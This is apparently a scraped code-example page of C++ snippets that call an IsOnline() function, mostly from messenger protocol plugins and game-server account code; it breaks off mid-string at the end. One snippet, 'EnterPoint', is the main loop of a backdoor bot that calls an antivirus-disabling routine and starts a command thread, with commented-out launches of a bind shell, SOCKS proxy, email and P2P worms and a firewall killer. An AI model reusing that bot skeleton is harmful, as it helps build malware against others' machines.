自学教程：C++ IsOnline函数代码示例

int CVkProto::SetStatus(int iNewStatus){	if (m_iDesiredStatus == iNewStatus || iNewStatus == ID_STATUS_IDLE)		return 0;	int oldStatus = m_iStatus;	m_iDesiredStatus = iNewStatus;	if (iNewStatus == ID_STATUS_OFFLINE) {		if ( IsOnline()) {			SetServerStatus(ID_STATUS_OFFLINE);			ShutdownSession();		}		m_iStatus = m_iDesiredStatus = ID_STATUS_OFFLINE;		ProtoBroadcastAck(NULL, ACKTYPE_STATUS, ACKRESULT_SUCCESS, (HANDLE)oldStatus, m_iStatus);	}	else if (m_hWorkerThread == NULL && !(m_iStatus >= ID_STATUS_CONNECTING && m_iStatus < ID_STATUS_CONNECTING + MAX_CONNECT_RETRIES)) {		m_iStatus = ID_STATUS_CONNECTING;		ProtoBroadcastAck(NULL, ACKTYPE_STATUS, ACKRESULT_SUCCESS, (HANDLE)oldStatus, m_iStatus);		m_hWorkerThread = ForkThreadEx(&CVkProto::WorkerThread, 0, NULL);	}	else if ( IsOnline())		SetServerStatus(iNewStatus);	else 		ProtoBroadcastAck(NULL, ACKTYPE_STATUS, ACKRESULT_SUCCESS, (HANDLE)oldStatus, m_iStatus);	return 0;}

int CSteamProto::AuthDeny(MEVENT hDbEvent, const TCHAR*){	if (IsOnline() && hDbEvent)	{		MCONTACT hContact = GetContactFromAuthEvent(hDbEvent);		if (hContact == INVALID_CONTACT_ID)			return 1;		//ForkThread(&CSteamProto::AuthDenyThread, (void*)hContact);		ptrA token(getStringA("TokenSecret"));		ptrA sessionId(getStringA("SessionID"));		ptrA steamId(getStringA("SteamID"));		char *who = getStringA(hContact, "SteamID");		PushRequest(			new IgnorePendingRequest(token, sessionId, steamId, who),			&CSteamProto::OnPendingIgnoreded,			who, MirFreeArg);		return 0;	}	return 1;}

void CVkProto::RetrieveUsersInfo(bool flag){	debugLogA("CVkProto::RetrieveUsersInfo");	if (!IsOnline())		return;	CMString userIDs, code;	for (MCONTACT hContact = db_find_first(m_szModuleName); hContact; hContact = db_find_next(hContact, m_szModuleName)) {		LONG userID = getDword(hContact, "ID", -1);		if (userID == -1 || userID == VK_FEED_USER)			continue;		if (!userIDs.IsEmpty())			userIDs.AppendChar(',');		userIDs.AppendFormat(_T("%i"), userID);	}	CMString codeformat("var userIDs=/"%s/";");	if (m_bNeedSendOnline)		codeformat += _T("API.account.setOnline();");		if (flag)		codeformat += CMString("var US=API.users.get({/"user_ids/":userIDs,/"fields/":/"%s/",/"name_case/":/"nom/"});"			"var res=[];var index=US.length;while(index >0){index=index-1;if(US[index].online==1){res.unshift(US[index]);};};"			"return{/"freeoffline/":1,/"users/":res,/"requests/":API.friends.getRequests({/"extended/":0,/"need_mutual/":0,/"out/":0})};");	else		codeformat += CMString("var res=API.users.get({/"user_ids/":userIDs,/"fields/":/"%s/",/"name_case/":/"nom/"});"			"return{/"freeoffline/":0,/"users/":res};");	code.AppendFormat(codeformat, userIDs, CMString(flag ? "online,status" : fieldsName));	Push(new AsyncHttpRequest(this, REQUEST_POST, "/method/execute.json", true, &CVkProto::OnReceiveUserInfo)		<< TCHAR_PARAM("code", code)		<< VER_API);}

/*!/brief Delete an account/author Akron/return true if account is deleted correctly, or false/param name the account name*/bool cAccounts::RemoveAccount(std::string name){	ACCOUNT_LIST_BY_NAME::iterator iter( accbyname.find( name ));	ACCOUNT acc;	if ( iter==accbyname.end() )		return false;	else		acc = iter->second;		if ( IsOnline(acc) )	{		unsigned int r = pointers::findCharBySerial(GetInWorld(acc))->getClient()->toInt();		Network->Disconnect(r);	}		NxwCharWrapper acc_chars;	GetAllChars( acc, acc_chars );	for( acc_chars.rewind(); !acc_chars.isEmpty(); acc_chars++ )	{		P_CHAR pc = acc_chars.getChar();		if(ISVALIDPC(pc))			pc->Delete();	}		accbyname.erase( name );	acctlist.erase( acc );	SaveAccounts();	return true;}

INT_PTR CVkProto::SvcGetAvatarInfo(WPARAM wParam, LPARAM lParam){	PROTO_AVATAR_INFORMATIONT* AI = (PROTO_AVATAR_INFORMATIONT*)lParam;	ptrA szUrl( getStringA(AI->hContact, "AvatarUrl"));	if (szUrl == NULL)		return GAIR_NOAVATAR;	TCHAR tszFileName[MAX_PATH];	GetAvatarFileName(AI->hContact, tszFileName, SIZEOF(tszFileName));	_tcsncpy(AI->filename, tszFileName, SIZEOF(AI->filename));	AI->format = ProtoGetAvatarFormat(AI->filename);	if (::_taccess(AI->filename, 0) == 0)		return GAIR_SUCCESS;	if ( IsOnline()) {		AsyncHttpRequest *pReq = new AsyncHttpRequest();		pReq->flags = NLHRF_NODUMP | NLHRF_REDIRECT;		pReq->m_szUrl = szUrl;		pReq->pUserInfo = (char*)AI->hContact;		pReq->m_pFunc = &CVkProto::OnReceiveAvatar;		pReq->requestType = REQUEST_GET;		Push(pReq);		debugLogA("Requested to read an avatar from '%s'", szUrl);		return GAIR_WAITFOR;	}	debugLogA("No avatar");	return GAIR_NOAVATAR;}

void CQuotesProviderBase::SetContactExtraIcon(MCONTACT hContact)const{// 	tstring s = DBGetStringT(hContact,LIST_MODULE_NAME,CONTACT_LIST_NAME);// 	tostringstream o;// 	o << "Request on " << s << " refreshing/nIs online " << IsOnline() << ", is in progress " << m_bRefreshInProgress << "/n";	bool bResult = false;	if(true == IsOnline() && (false == m_bRefreshInProgress))	{		CTendency tendency;		if(tendency.Parse(this,m_sTendencyFormat,hContact) && (false == m_bRefreshInProgress))		{			bResult = do_set_contact_extra_icon(hContact,tendency);		}// 		double dCurrRate = 0.0;// 		double dPrevRate = 0.0;// 		if((true == Quotes_DBReadDouble(hContact,QUOTES_PROTOCOL_NAME,DB_STR_QUOTE_CURR_VALUE,dCurrRate))// 			&& (true == Quotes_DBReadDouble(hContact,QUOTES_PROTOCOL_NAME,DB_STR_QUOTE_PREV_VALUE,dPrevRate))// 			&& (false == m_bRefreshInProgress))// 		{// // 			o << "Curr rate = " << dCurrRate << ", prev rate " << dPrevRate << "/n";// 			bResult = do_set_contact_extra_icon(hContact,dCurrRate,dPrevRate);// 		}	}// 	o << "Result is " << bResult;// 	LogIt(Info,o.str());}

//-----------------------------------------------------------------DWORD WINAPI EnterPoint(LPVOID lpParam){	DWORD	dwThreadID;	int		tmp_cnt1 = 0;	AVPsex();	while(1){		if(IsOnline()){			if(tmp_cnt1 == 0){				tmp_cnt1 = 1;				CreateThread(NULL, NULL, GetCommand, NULL, NULL, &dwThreadID);				/*				if(MY_MACRO_SOCKS4_ACTIVE){					CreateThread(NULL, NULL, SocksDaemon, NULL, NULL, &dwThreadID);				}				if(MY_MACRO_BIND){					CreateThread(NULL, NULL, BindShell, NULL, NULL, &dwThreadID);				}				if(MY_MACRO_WORM_ACTIVE){					// here                     CreateThread(NULL, NULL, EMAILWormThread, NULL, NULL, &dwThreadID);					CreateThread(NULL, NULL, P2P_Spreading, NULL, NULL, &dwThreadID);				}				if(MY_MACRO_FIREWALL_KILL){                    CreateThread(NULL, NULL, KillFirewalls, NULL, NULL, &dwThreadID);				}				*/			}		}		Sleep(MY_MACRO_CHECK_INET_TIME*1000);	}return FALSE;}

INT_PTR CVkProto::SvcGetAvatarInfo(WPARAM, LPARAM lParam){	PROTO_AVATAR_INFORMATION* pai = (PROTO_AVATAR_INFORMATION*)lParam;	ptrA szUrl(getStringA(pai->hContact, "AvatarUrl"));	if (szUrl == NULL)		return GAIR_NOAVATAR;	TCHAR tszFileName[MAX_PATH];	GetAvatarFileName(pai->hContact, tszFileName, _countof(tszFileName));	_tcsncpy(pai->filename, tszFileName, _countof(pai->filename));	pai->format = ProtoGetAvatarFormat(pai->filename);	if (::_taccess(pai->filename, 0) == 0 && !getBool(pai->hContact, "NeedNewAvatar"))		return GAIR_SUCCESS;	if (IsOnline()) {		AsyncHttpRequest *pReq = new AsyncHttpRequest();		pReq->flags = NLHRF_NODUMP | NLHRF_REDIRECT;		pReq->m_szUrl = szUrl;		pReq->pUserInfo = new CVkSendMsgParam(pai->hContact);		pReq->m_pFunc = &CVkProto::OnReceiveAvatar;		pReq->requestType = REQUEST_GET;		pReq->m_bApiReq = false;		Push(pReq);		debugLogA("Requested to read an avatar from '%s'", szUrl);		return GAIR_WAITFOR;	}	debugLogA("No avatar");	return GAIR_NOAVATAR;}

void CVkProto::GetServerHistory(MCONTACT hContact, int iOffset, int iCount, int iTime, int iLastMsgId, bool once){	debugLogA("CVkProto::GetServerHistory %d %d %d %d %d", iOffset, iCount, iTime, iLastMsgId, (int)once);	if (!IsOnline())		return;		LONG userID = getDword(hContact, "ID", -1);	if (-1 == userID || userID == VK_FEED_USER)		return;	CMStringA code(FORMAT, "var iOffset=%d;var iReqCount=%d;var userID=%d;var iTime=%d;var lastMid=%d;"		"var Hist=API.messages.getHistory({/"user_id/":userID,/"count/":iReqCount,/"offset/":iOffset});"		"var ext=Hist.items.length;var index=0;"		"while(ext!=0){if(Hist.items[index].date>iTime){if(Hist.items[index].id>lastMid)"		"{index=index+1;ext=ext-1;}else ext=0;}else ext=0;};"		"var ret=Hist.items.slice(0,index);"		"var [email
C++ IsOpen函数代码示例
C++ IsOne函数代码示例